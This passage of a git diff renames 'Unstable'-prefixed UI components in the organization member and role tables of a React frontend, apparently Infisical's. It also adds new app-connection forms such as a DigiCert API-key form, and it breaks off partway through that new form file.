-  UnstableDropdownMenu,
-  UnstableDropdownMenuCheckboxItem,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuLabel,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   OrgPermissionActions,
@@ -325,23 +325,23 @@ export const OrgMembersTable = ({
             placeholder={`Search ${isSubOrganization ? "sub-" : ""}organization users...`}
           />
         </InputGroup>
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <IconButton
               variant={
                 // eslint-disable-next-line no-nested-ternary
                 isTableFiltered ? (isSubOrganization ? "sub-org" : "org") : "outline"
               }
             >
               <FilterIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
-            <UnstableDropdownMenuLabel>
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuLabel>
               Filter by {isSubOrganization ? "Sub-" : ""}Organization Role
-            </UnstableDropdownMenuLabel>
+            </DropdownMenuLabel>
             {roles?.map(({ id, slug, name }) => (
-              <UnstableDropdownMenuCheckboxItem
+              <DropdownMenuCheckboxItem
                 key={id}
                 checked={filter.roles.includes(slug)}
                 onClick={(e) => {
@@ -351,32 +351,32 @@ export const OrgMembersTable = ({
                 }}
               >
                 {name}
-              </UnstableDropdownMenuCheckboxItem>
+              </DropdownMenuCheckboxItem>
             ))}
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
+          </DropdownMenuContent>
+        </DropdownMenu>
       </div>
       {!isLoading && !filteredMembers?.length ? (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {members.length
                 ? `No ${isSubOrganization ? "sub-" : ""}organization users match search`
                 : `No ${isSubOrganization ? "sub-" : ""}organization users found`}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {members.length
                 ? "Adjust your search or filter criteria."
                 : "Invite users to get started."}
-            </UnstableEmptyDescription>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyDescription>
+          </EmptyHeader>
+        </Empty>
       ) : (
         <>
-          <UnstableTable>
-            <UnstableTableHeader>
-              <UnstableTableRow>
-                <UnstableTableHead className="w-5">
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead className="w-5">
                   <Checkbox
                     id="member-page-select"
                     isChecked={isPageSelected || isPageIndeterminate}
@@ -396,8 +396,8 @@ export const OrgMembersTable = ({
                       }
                     }}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead
+                </TableHead>
+                <TableHead
                   onClick={() => handleSort(OrgMembersOrderBy.Name)}
                   className="min-w-40 lg:w-1/3 lg:min-w-0"
                 >
@@ -411,11 +411,8 @@ export const OrgMembersTable = ({
                       "transition-transform"
                     )}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead
-                  onClick={() => handleSort(OrgMembersOrderBy.Email)}
-                  className="w-1/3"
-                >
+                </TableHead>
+                <TableHead onClick={() => handleSort(OrgMembersOrderBy.Email)} className="w-1/3">
                   Username
                   <ChevronDownIcon
                     className={twMerge(
@@ -426,8 +423,8 @@ export const OrgMembersTable = ({
                       "transition-transform"
                     )}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead onClick={() => handleSort(OrgMembersOrderBy.Role)}>
+                </TableHead>
+                <TableHead onClick={() => handleSort(OrgMembersOrderBy.Role)}>
                   {isSubOrganization ? "Sub-" : ""}Organization Role
                   <ChevronDownIcon
                     className={twMerge(
@@ -438,30 +435,30 @@ export const OrgMembersTable = ({
                       "transition-transform"
                     )}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead className="w-5" />
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+                </TableHead>
+                <TableHead className="w-5" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {isLoading &&
                 Array.from({ length: perPage }).map((_, i) => (
-                  <UnstableTableRow key={`skeleton-${i + 1}`}>
-                    <UnstableTableCell>
+                  <TableRow key={`skeleton-${i + 1}`}>
+                    <TableCell>
                       <Skeleton className="h-4 w-4" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-4" />
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                    </TableCell>
+                  </TableRow>
                 ))}
               {!isLoading &&
                 filteredMembersPage.map(
@@ -482,7 +479,7 @@ export const OrgMembersTable = ({
                     const username = u?.username ?? inviteEmail ?? "-";
                     const isSelected = selectedMemberIds.includes(orgMembershipId);
                     return (
-                      <UnstableTableRow
+                      <TableRow
                         key={`org-membership-${orgMembershipId}`}
                         className="group cursor-pointer"
                         onClick={() =>
@@ -495,7 +492,7 @@ export const OrgMembersTable = ({
                           })
                         }
                       >
-                        <UnstableTableCell>
+                        <TableCell>
                           <Checkbox
                             id={`select-member-${orgMembershipId}`}
                             isChecked={isSelected}
@@ -509,11 +506,8 @@ export const OrgMembersTable = ({
                               );
                             }}
                           />
-                        </UnstableTableCell>
-                        <UnstableTableCell
-                          isTruncatable
-                          className={twMerge(!isActive && "text-muted")}
-                        >
+                        </TableCell>
+                        <TableCell isTruncatable className={twMerge(!isActive && "text-muted")}>
                           <div className="flex w-full items-center gap-x-1.5">
                             <p className="truncate">
                               {name ?? <span className="text-muted">—</span>}
@@ -543,14 +537,11 @@ export const OrgMembersTable = ({
                               </Tooltip>
                             )}
                           </div>
-                        </UnstableTableCell>
-                        <UnstableTableCell
-                          isTruncatable
-                          className={twMerge(!isActive && "text-muted")}
-                        >
+                        </TableCell>
+                        <TableCell isTruncatable className={twMerge(!isActive && "text-muted")}>
                           <p className="truncate">{username}</p>
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           <OrgPermissionCan
                             I={OrgPermissionActions.Edit}
                             a={OrgPermissionSubjects.Member}
@@ -584,8 +575,8 @@ export const OrgMembersTable = ({
                               </Select>
                             )}
                           </OrgPermissionCan>
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           <div className="flex items-center justify-end gap-6">
                             {isActive &&
                               (status === "invited" || status === "verified") &&
@@ -615,23 +606,19 @@ export const OrgMembersTable = ({
                                   )}
                                 </OrgPermissionCan>
                               )}
-                            <UnstableDropdownMenu>
-                              <UnstableDropdownMenuTrigger asChild>
-                                <UnstableIconButton
-                                  variant="ghost"
-                                  size="xs"
-                                  isDisabled={userId === u?.id}
-                                >
+                            <DropdownMenu>
+                              <DropdownMenuTrigger asChild>
+                                <IconButton variant="ghost" size="xs" isDisabled={userId === u?.id}>
                                   <MoreHorizontalIcon />
-                                </UnstableIconButton>
-                              </UnstableDropdownMenuTrigger>
-                              <UnstableDropdownMenuContent sideOffset={2} align="end">
+                                </IconButton>
+                              </DropdownMenuTrigger>
+                              <DropdownMenuContent sideOffset={2} align="end">
                                 <OrgPermissionCan
                                   I={OrgPermissionActions.Edit}
                                   a={OrgPermissionSubjects.Member}
                                 >
                                   {(isAllowed) => (
-                                    <UnstableDropdownMenuItem
+                                    <DropdownMenuItem
                                       onClick={(e) => {
                                         e.stopPropagation();
                                         navigate({
@@ -646,7 +633,7 @@ export const OrgMembersTable = ({
                                     >
                                       <PencilIcon />
                                       Edit User
-                                    </UnstableDropdownMenuItem>
+                                    </DropdownMenuItem>
                                   )}
                                 </OrgPermissionCan>
                                 <OrgPermissionCan
@@ -654,7 +641,7 @@ export const OrgMembersTable = ({
                                   a={OrgPermissionSubjects.Member}
                                 >
                                   {(isAllowed) => (
-                                    <UnstableDropdownMenuItem
+                                    <DropdownMenuItem
                                       onClick={async (e) => {
                                         e.stopPropagation();
 
@@ -679,7 +666,7 @@ export const OrgMembersTable = ({
                                     >
                                       <UserMinusIcon />
                                       {`${isActive ? "Deactivate" : "Activate"} User`}
-                                    </UnstableDropdownMenuItem>
+                                    </DropdownMenuItem>
                                   )}
                                 </OrgPermissionCan>
                                 <OrgPermissionCan
@@ -687,7 +674,7 @@ export const OrgMembersTable = ({
                                   a={OrgPermissionSubjects.Member}
                                 >
                                   {(isAllowed) => (
-                                    <UnstableDropdownMenuItem
+                                    <DropdownMenuItem
                                       variant="danger"
                                       onClick={(e) => {
                                         e.stopPropagation();
@@ -701,21 +688,21 @@ export const OrgMembersTable = ({
                                     >
                                       <UserXIcon />
                                       Remove User
-                                    </UnstableDropdownMenuItem>
+                                    </DropdownMenuItem>
                                   )}
                                 </OrgPermissionCan>
-                              </UnstableDropdownMenuContent>
-                            </UnstableDropdownMenu>
+                              </DropdownMenuContent>
+                            </DropdownMenu>
                           </div>
-                        </UnstableTableCell>
-                      </UnstableTableRow>
+                        </TableCell>
+                      </TableRow>
                     );
                   }
                 )}
-            </UnstableTableBody>
-          </UnstableTable>
+            </TableBody>
+          </Table>
           {Boolean(filteredMembers.length) && (
-            <UnstablePagination
+            <Pagination
               count={filteredMembers.length}
               page={page}
               perPage={perPage}
diff --git a/frontend/src/pages/organization/AccessManagementPage/components/OrgRoleTabSection/OrgRoleTable.tsx b/frontend/src/pages/organization/AccessManagementPage/components/OrgRoleTabSection/OrgRoleTable.tsx
index dc90dc03a08..3cb684d57fa 100644
--- a/frontend/src/pages/organization/AccessManagementPage/components/OrgRoleTabSection/OrgRoleTable.tsx
+++ b/frontend/src/pages/organization/AccessManagementPage/components/OrgRoleTabSection/OrgRoleTable.tsx
@@ -21,41 +21,41 @@ import { createNotification } from "@app/components/notifications";
 import { OrgPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal } from "@app/components/v2";
 import {
+  Alert,
+  AlertDescription,
+  AlertTitle,
   Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   DocumentationLinkBadge,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
+  Pagination,
   Skeleton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableAlert,
-  UnstableAlertDescription,
-  UnstableAlertTitle,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   OrgPermissionActions,
@@ -211,10 +211,10 @@ export const OrgRoleTable = () => {
     <>
       {/* TODO(custom-roles): Remove this banner after 2026-06-01 when custom roles are removed from Pro plan */}
       {isProPlan && customRoles?.length > 0 && (
-        <UnstableAlert variant="warning" className="mb-4">
+        <Alert variant="warning" className="mb-4">
           <TriangleAlertIcon />
-          <UnstableAlertTitle>Custom roles are moving to Enterprise plans</UnstableAlertTitle>
-          <UnstableAlertDescription>
+          <AlertTitle>Custom roles are moving to Enterprise plans</AlertTitle>
+          <AlertDescription>
             <div>
               Custom roles are part of the Infisical Enterprise plan, but were temporarily available
               to Pro users. Creation of new roles will be enforced starting June 1, 2026.
@@ -230,19 +230,19 @@ export const OrgRoleTable = () => {
               </a>{" "}
               to upgrade and retain access to custom roles.
             </div>
-          </UnstableAlertDescription>
-        </UnstableAlert>
+          </AlertDescription>
+        </Alert>
       )}
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>
+      <Card>
+        <CardHeader>
+          <CardTitle>
             {isSubOrganization ? "Sub-" : ""}Organization Roles
             <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/organization#roles-and-access-control" />
-          </UnstableCardTitle>
-          <UnstableCardDescription>
+          </CardTitle>
+          <CardDescription>
             Create and manage {isSubOrganization ? "sub-" : ""}organization roles
-          </UnstableCardDescription>
-          <UnstableCardAction>
+          </CardDescription>
+          <CardAction>
             <OrgPermissionCan I={OrgPermissionActions.Create} a={OrgPermissionSubjects.Role}>
               {(isAllowed) => (
                 <Button
@@ -257,9 +257,9 @@ export const OrgRoleTable = () => {
                 </Button>
               )}
             </OrgPermissionCan>
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           <div>
             <div className="mb-4">
               <InputGroup>
@@ -274,27 +274,24 @@ export const OrgRoleTable = () => {
               </InputGroup>
             </div>
             {!isRolesLoading && !filteredRoles?.length ? (
-              <UnstableEmpty className="border">
-                <UnstableEmptyHeader>
-                  <UnstableEmptyTitle>
+              <Empty className="border">
+                <EmptyHeader>
+                  <EmptyTitle>
                     {roles?.length
                       ? `No ${isSubOrganization ? "sub-" : ""}organization roles match search`
                       : "This organization does not have any roles"}
-                  </UnstableEmptyTitle>
-                  <UnstableEmptyDescription>
+                  </EmptyTitle>
+                  <EmptyDescription>
                     {roles?.length ? "Adjust your search criteria." : "Add a role to get started."}
-                  </UnstableEmptyDescription>
-                </UnstableEmptyHeader>
-              </UnstableEmpty>
+                  </EmptyDescription>
+                </EmptyHeader>
+              </Empty>
             ) : (
               <>
-                <UnstableTable>
-                  <UnstableTableHeader>
-                    <UnstableTableRow>
-                      <UnstableTableHead
-                        className="w-1/3"
-                        onClick={() => handleSort(RolesOrderBy.Name)}
-                      >
+                <Table>
+                  <TableHeader>
+                    <TableRow>
+                      <TableHead className="w-1/3" onClick={() => handleSort(RolesOrderBy.Name)}>
                         Name
                         <ChevronDownIcon
                           className={twMerge(
@@ -305,11 +302,8 @@ export const OrgRoleTable = () => {
                             orderBy !== RolesOrderBy.Name && "opacity-30"
                           )}
                         />
-                      </UnstableTableHead>
-                      <UnstableTableHead
-                        className="w-1/3"
-                        onClick={() => handleSort(RolesOrderBy.Slug)}
-                      >
+                      </TableHead>
+                      <TableHead className="w-1/3" onClick={() => handleSort(RolesOrderBy.Slug)}>
                         Slug
                         <ChevronDownIcon
                           className={twMerge(
@@ -320,8 +314,8 @@ export const OrgRoleTable = () => {
                             orderBy !== RolesOrderBy.Slug && "opacity-30"
                           )}
                         />
-                      </UnstableTableHead>
-                      <UnstableTableHead onClick={() => handleSort(RolesOrderBy.Type)}>
+                      </TableHead>
+                      <TableHead onClick={() => handleSort(RolesOrderBy.Type)}>
                         Type
                         <ChevronDownIcon
                           className={twMerge(
@@ -332,27 +326,27 @@ export const OrgRoleTable = () => {
                             orderBy !== RolesOrderBy.Type && "opacity-30"
                           )}
                         />
-                      </UnstableTableHead>
-                      <UnstableTableHead className="w-5" />
-                    </UnstableTableRow>
-                  </UnstableTableHeader>
-                  <UnstableTableBody>
+                      </TableHead>
+                      <TableHead className="w-5" />
+                    </TableRow>
+                  </TableHeader>
+                  <TableBody>
                     {isRolesLoading &&
                       Array.from({ length: perPage }).map((_, i) => (
-                        <UnstableTableRow key={`skeleton-${i + 1}`}>
-                          <UnstableTableCell>
+                        <TableRow key={`skeleton-${i + 1}`}>
+                          <TableCell>
                             <Skeleton className="h-4 w-full" />
-                          </UnstableTableCell>
-                          <UnstableTableCell>
+                          </TableCell>
+                          <TableCell>
                             <Skeleton className="h-4 w-full" />
-                          </UnstableTableCell>
-                          <UnstableTableCell>
+                          </TableCell>
+                          <TableCell>
                             <Skeleton className="h-4 w-full" />
-                          </UnstableTableCell>
-                          <UnstableTableCell>
+                          </TableCell>
+                          <TableCell>
                             <Skeleton className="h-4 w-4" />
-                          </UnstableTableCell>
-                        </UnstableTableRow>
+                          </TableCell>
+                        </TableRow>
                       ))}
                     {filteredRolesPage.map((role) => {
                       const { id, name, slug } = role;
@@ -363,7 +357,7 @@ export const OrgRoleTable = () => {
                         ? id === currentOrg?.defaultMembershipRole
                         : slug === currentOrg?.defaultMembershipRole;
                       return (
-                        <UnstableTableRow
+                        <TableRow
                           key={`role-list-${id}`}
                           className="cursor-pointer"
                           onClick={() =>
@@ -376,7 +370,7 @@ export const OrgRoleTable = () => {
                             })
                           }
                         >
-                          <UnstableTableCell isTruncatable>
+                          <TableCell isTruncatable>
                             <div className="flex gap-x-1.5">
                               <p className="truncate">{name}</p>
                               {isDefaultOrgRole && (
@@ -391,9 +385,9 @@ export const OrgRoleTable = () => {
                                 </Tooltip>
                               )}
                             </div>
-                          </UnstableTableCell>
-                          <UnstableTableCell isTruncatable>{slug}</UnstableTableCell>
-                          <UnstableTableCell>
+                          </TableCell>
+                          <TableCell isTruncatable>{slug}</TableCell>
+                          <TableCell>
                             <Badge variant="ghost">
                               {isCustomOrgRole(slug) ? (
                                 <>
@@ -407,29 +401,25 @@ export const OrgRoleTable = () => {
                                 </>
                               )}
                             </Badge>
-                          </UnstableTableCell>
-                          <UnstableTableCell>
-                            <UnstableDropdownMenu>
-                              <UnstableDropdownMenuTrigger asChild>
-                                <UnstableIconButton
+                          </TableCell>
+                          <TableCell>
+                            <DropdownMenu>
+                              <DropdownMenuTrigger asChild>
+                                <IconButton
                                   variant="ghost"
                                   size="xs"
                                   onClick={(e) => e.stopPropagation()}
                                 >
                                   <MoreHorizontalIcon />
-                                </UnstableIconButton>
-                              </UnstableDropdownMenuTrigger>
-                              <UnstableDropdownMenuContent
-                                className="min-w-48"
-                                sideOffset={2}
-                                align="end"
-                              >
+                                </IconButton>
+                              </DropdownMenuTrigger>
+                              <DropdownMenuContent className="min-w-48" sideOffset={2} align="end">
                                 <OrgPermissionCan
                                   I={OrgPermissionActions.Edit}
                                   a={OrgPermissionSubjects.Role}
                                 >
                                   {(isAllowed) => (
-                                    <UnstableDropdownMenuItem
+                                    <DropdownMenuItem
                                       onClick={(e) => {
                                         e.stopPropagation();
                                         navigate({
@@ -444,7 +434,7 @@ export const OrgRoleTable = () => {
                                     >
                                       {isNonMutatable ? <EyeIcon /> : <PencilIcon />}
                                       {`${isNonMutatable ? "View" : "Edit"} Role`}
-                                    </UnstableDropdownMenuItem>
+                                    </DropdownMenuItem>
                                   )}
                                 </OrgPermissionCan>
                                 <OrgPermissionCan
@@ -452,7 +442,7 @@ export const OrgRoleTable = () => {
                                   a={OrgPermissionSubjects.Role}
                                 >
                                   {(isAllowed) => (
-                                    <UnstableDropdownMenuItem
+                                    <DropdownMenuItem
                                       onClick={(e) => {
                                         e.stopPropagation();
                                         handlePopUpOpen("duplicateRole", role);
@@ -461,7 +451,7 @@ export const OrgRoleTable = () => {
                                     >
                                       <CopyIcon />
                                       Duplicate Role
-                                    </UnstableDropdownMenuItem>
+                                    </DropdownMenuItem>
                                   )}
                                 </OrgPermissionCan>
                                 {!isDefaultOrgRole && (
@@ -473,7 +463,7 @@ export const OrgRoleTable = () => {
                                       <Tooltip>
                                         <TooltipTrigger asChild>
                                           <div>
-                                            <UnstableDropdownMenuItem
+                                            <DropdownMenuItem
                                               isDisabled={!isAllowed || isSubOrganization}
                                               onClick={(e) => {
                                                 e.stopPropagation();
@@ -482,7 +472,7 @@ export const OrgRoleTable = () => {
                                             >
                                               <IdCardIcon />
                                               Set as Default Role
-                                            </UnstableDropdownMenuItem>
+                                            </DropdownMenuItem>
                                           </div>
                                         </TooltipTrigger>
                                         {isSubOrganization && (
@@ -503,7 +493,7 @@ export const OrgRoleTable = () => {
                                           a={OrgPermissionSubjects.Role}
                                         >
                                           {(isAllowed) => (
-                                            <UnstableDropdownMenuItem
+                                            <DropdownMenuItem
                                               variant="danger"
                                               onClick={(e) => {
                                                 e.stopPropagation();
@@ -513,7 +503,7 @@ export const OrgRoleTable = () => {
                                             >
                                               <TrashIcon />
                                               Delete Role
-                                            </UnstableDropdownMenuItem>
+                                            </DropdownMenuItem>
                                           )}
                                         </OrgPermissionCan>
                                       </div>
@@ -526,16 +516,16 @@ export const OrgRoleTable = () => {
                                     )}
                                   </Tooltip>
                                 )}
-                              </UnstableDropdownMenuContent>
-                            </UnstableDropdownMenu>
-                          </UnstableTableCell>
-                        </UnstableTableRow>
+                              </DropdownMenuContent>
+                            </DropdownMenu>
+                          </TableCell>
+                        </TableRow>
                       );
                     })}
-                  </UnstableTableBody>
-                </UnstableTable>
+                  </TableBody>
+                </Table>
                 {Boolean(filteredRoles?.length) && (
-                  <UnstablePagination
+                  <Pagination
                     count={filteredRoles!.length}
                     page={page}
                     perPage={perPage}
@@ -546,8 +536,8 @@ export const OrgRoleTable = () => {
               </>
             )}
           </div>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <RoleModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
       <DeleteActionModal
         isOpen={popUp.deleteRole.isOpen}
diff --git a/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/AppConnectionForm.tsx b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/AppConnectionForm.tsx
index 4e0c3cce3c8..b4f6336347b 100644
--- a/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/AppConnectionForm.tsx
+++ b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/AppConnectionForm.tsx
@@ -33,8 +33,10 @@ import { CircleCIConnectionForm } from "./CircleCIConnectionForm";
 import { CloudflareConnectionForm } from "./CloudflareConnectionForm";
 import { DatabricksConnectionForm } from "./DatabricksConnectionForm";
 import { DbtConnectionForm } from "./DbtConnectionForm";
+import { DigiCertConnectionForm } from "./DigiCertConnectionForm";
 import { DigitalOceanConnectionForm } from "./DigitalOceanConnectionForm";
 import { DNSMadeEasyConnectionForm } from "./DNSMadeEasyConnectionForm";
+import { DopplerConnectionForm } from "./DopplerConnectionForm";
 import { ExternalInfisicalConnectionForm } from "./ExternalInfisicalConnectionForm";
 import { FlyioConnectionForm } from "./FlyioConnectionForm";
 import { GcpConnectionForm } from "./GcpConnectionForm";
@@ -55,6 +57,7 @@ import { NorthflankConnectionForm } from "./NorthflankConnectionForm";
 import { OCIConnectionForm } from "./OCIConnectionForm";
 import { OctopusDeployConnectionForm } from "./OctopusDeployConnectionForm";
 import { OktaConnectionForm } from "./OktaConnectionForm";
+import { OnaConnectionForm } from "./OnaConnectionForm";
 import { OpenRouterConnectionForm } from "./OpenRouterConnectionForm";
 import { OracleDBConnectionForm } from "./OracleDBConnectionForm";
 import { PostgresConnectionForm } from "./PostgresConnectionForm";
@@ -66,7 +69,9 @@ import { SshConnectionForm } from "./SshConnectionForm";
 import { SupabaseConnectionForm } from "./SupabaseConnectionForm";
 import { TeamCityConnectionForm } from "./TeamCityConnectionForm";
 import { TerraformCloudConnectionForm } from "./TerraformCloudConnectionForm";
+import { TravisCIConnectionForm } from "./TravisCIConnectionForm";
 import { VenafiConnectionForm } from "./VenafiConnectionForm";
+import { VenafiTppConnectionForm } from "./VenafiTppConnectionForm";
 import { VercelConnectionForm } from "./VercelConnectionForm";
 import { WindmillConnectionForm } from "./WindmillConnectionForm";
 import { ZabbixConnectionForm } from "./ZabbixConnectionForm";
@@ -270,12 +275,22 @@ const CreateForm = ({ app, onComplete, projectId }: CreateFormProps) => {
         return <CircleCIConnectionForm onSubmit={onSubmit} />;
       case AppConnection.Venafi:
         return <VenafiConnectionForm onSubmit={onSubmit} />;
+      case AppConnection.VenafiTpp:
+        return <VenafiTppConnectionForm onSubmit={onSubmit} />;
       case AppConnection.AzureEntraId:
         return <AzureEntraIdConnectionForm onSubmit={onSubmit} />;
       case AppConnection.ExternalInfisical:
         return <ExternalInfisicalConnectionForm onSubmit={onSubmit} />;
+      case AppConnection.Doppler:
+        return <DopplerConnectionForm onSubmit={onSubmit} />;
       case AppConnection.NetScaler:
         return <NetScalerConnectionForm onSubmit={onSubmit} />;
+      case AppConnection.Ona:
+        return <OnaConnectionForm onSubmit={onSubmit} />;
+      case AppConnection.DigiCert:
+        return <DigiCertConnectionForm onSubmit={onSubmit} />;
+      case AppConnection.TravisCI:
+        return <TravisCIConnectionForm onSubmit={onSubmit} />;
       default:
         throw new Error(`Unhandled App ${app}`);
     }
@@ -485,8 +500,20 @@ const UpdateForm = ({ appConnection, onComplete }: UpdateFormProps) => {
         return (
           <ExternalInfisicalConnectionForm onSubmit={onSubmit} appConnection={appConnection} />
         );
+      case AppConnection.Doppler:
+        return <DopplerConnectionForm onSubmit={onSubmit} appConnection={appConnection} />;
       case AppConnection.NetScaler:
         return <NetScalerConnectionForm onSubmit={onSubmit} appConnection={appConnection} />;
+      case AppConnection.Ona:
+        return <OnaConnectionForm onSubmit={onSubmit} appConnection={appConnection} />;
+      case AppConnection.DigiCert:
+        return <DigiCertConnectionForm onSubmit={onSubmit} appConnection={appConnection} />;
+      case AppConnection.TravisCI:
+        return <TravisCIConnectionForm onSubmit={onSubmit} appConnection={appConnection} />;
+      case AppConnection.Venafi:
+        return <VenafiConnectionForm onSubmit={onSubmit} appConnection={appConnection} />;
+      case AppConnection.VenafiTpp:
+        return <VenafiTppConnectionForm onSubmit={onSubmit} appConnection={appConnection} />;
       default:
         throw new Error(`Unhandled App ${(appConnection as TAppConnection).app}`);
     }
diff --git a/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/DigiCertConnectionForm.tsx b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/DigiCertConnectionForm.tsx
new file mode 100644
index 00000000000..c09ec0c5699
--- /dev/null
+++ b/frontend/src/pages/organization/AppConnections/AppConnectionsPage/components/AppConnectionForm/DigiCertConnectionForm.tsx
@@ -0,0 +1,163 @@
+import { Controller, FormProvider, useForm } from "react-hook-form";
+import { zodResolver } from "@hookform/resolvers/zod";
+import { z } from "zod";
+
+import {
+  Button,
+  FormControl,
+  ModalClose,
+  SecretInput,
+  Select,
+  SelectItem
+} from "@app/components/v2";
+import { APP_CONNECTION_MAP, getAppConnectionMethodDetails } from "@app/helpers/appConnections";
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import {
+  DigiCertConnectionMethod,
+  DigiCertRegion,
+  TDigiCertConnection
+} from "@app/hooks/api/appConnections/types/digicert-connection";
+
+import {
+  genericAppConnectionFieldsSchema,
+  GenericAppConnectionsFields
+} from "./GenericAppConnectionFields";
+
+type Props = {
+  appConnection?: TDigiCertConnection;
+  onSubmit: (formData: FormData) => void;
+};
+
+const rootSchema = genericAppConnectionFieldsSchema.extend({
+  app: z.literal(AppConnection.DigiCert)
+});
+
+const formSchema = z.discriminatedUnion("method", [
+  rootSchema.extend({
+    method: z.literal(DigiCertConnectionMethod.ApiKey),
+    credentials: z.object({
+      apiKey: z.string().trim().min(1, "API Key required"),
+      region: z.nativeEnum(DigiCertRegion)
+    })
+  })
+]);
+
+type FormData = z.infer<typeof formSchema>;
+
+export const DigiCertConnectionForm = ({ appConnection, onSubmit }: Props) => {
+  const isUpdate = Boolean(appConnection);
+
+  const form = useForm<FormData>({
+    resolver: zodResolver(formSchema),
+    defaultValues: appConnection ?? {
+      app: AppConnection.DigiCert,
+      method: DigiCertConnectionMethod.ApiKey,
+      credentials: { apiKey: "", region: DigiCertRegion.US }
+    }
+  });
+
+  const {
+    handleSubmit,
+    control,
+    formState: { isSubmitting, isDirty }
+  } = form;
+
+  return (
+    <FormProvider {...form}>
+      <form onSubmit={handleSubmit(onSubmit)}>
+        {!isUpdate && <GenericAppConnectionsFields />}
+        <Controller
+          name="method"
+          control={control}
+          render={({ field: { value, onChange }, fieldState: { error } }) => (
+            <FormControl
+              tooltipText={`The method you would like to use to connect with ${
+                APP_CONNECTION_MAP[AppConnection.DigiCert].name
+              }. This field cannot be changed after creation.`}
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="Method"
+            >
+              <Select
+                isDisabled={isUpdate}
+                value={value}
+                onValueChange={(val) => onChange(val)}
+                className="w-full border border-mineshaft-500"
+                position="popper"
+                dropdownContainerClassName="max-w-none"
+              >
+                {Object.values(DigiCertConnectionMethod).map((method) => {
+                  return (
+                    <SelectItem value={method} key={method}>
+                      {getAppConnectionMethodDetails(method).name}
+                    </SelectItem>
+                  );
+                })}
+              </Select>
+            </FormControl>
+          )}
+        />
+        <Controller
+          name="credentials.region"
+          control={control}
+          shouldUnregister
+          render={({ field: { value, onChange }, fieldState: { error } }) => (
+            <FormControl
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="CertCentral Region"
+              tooltipText="Select the CertCentral tenant your API key was issued in. US and EU are independent — a US key cannot be used against EU and vice-versa."
+            >
+              <Select
+                value={value}
+                onValueChange={(val) => onChange(val)}
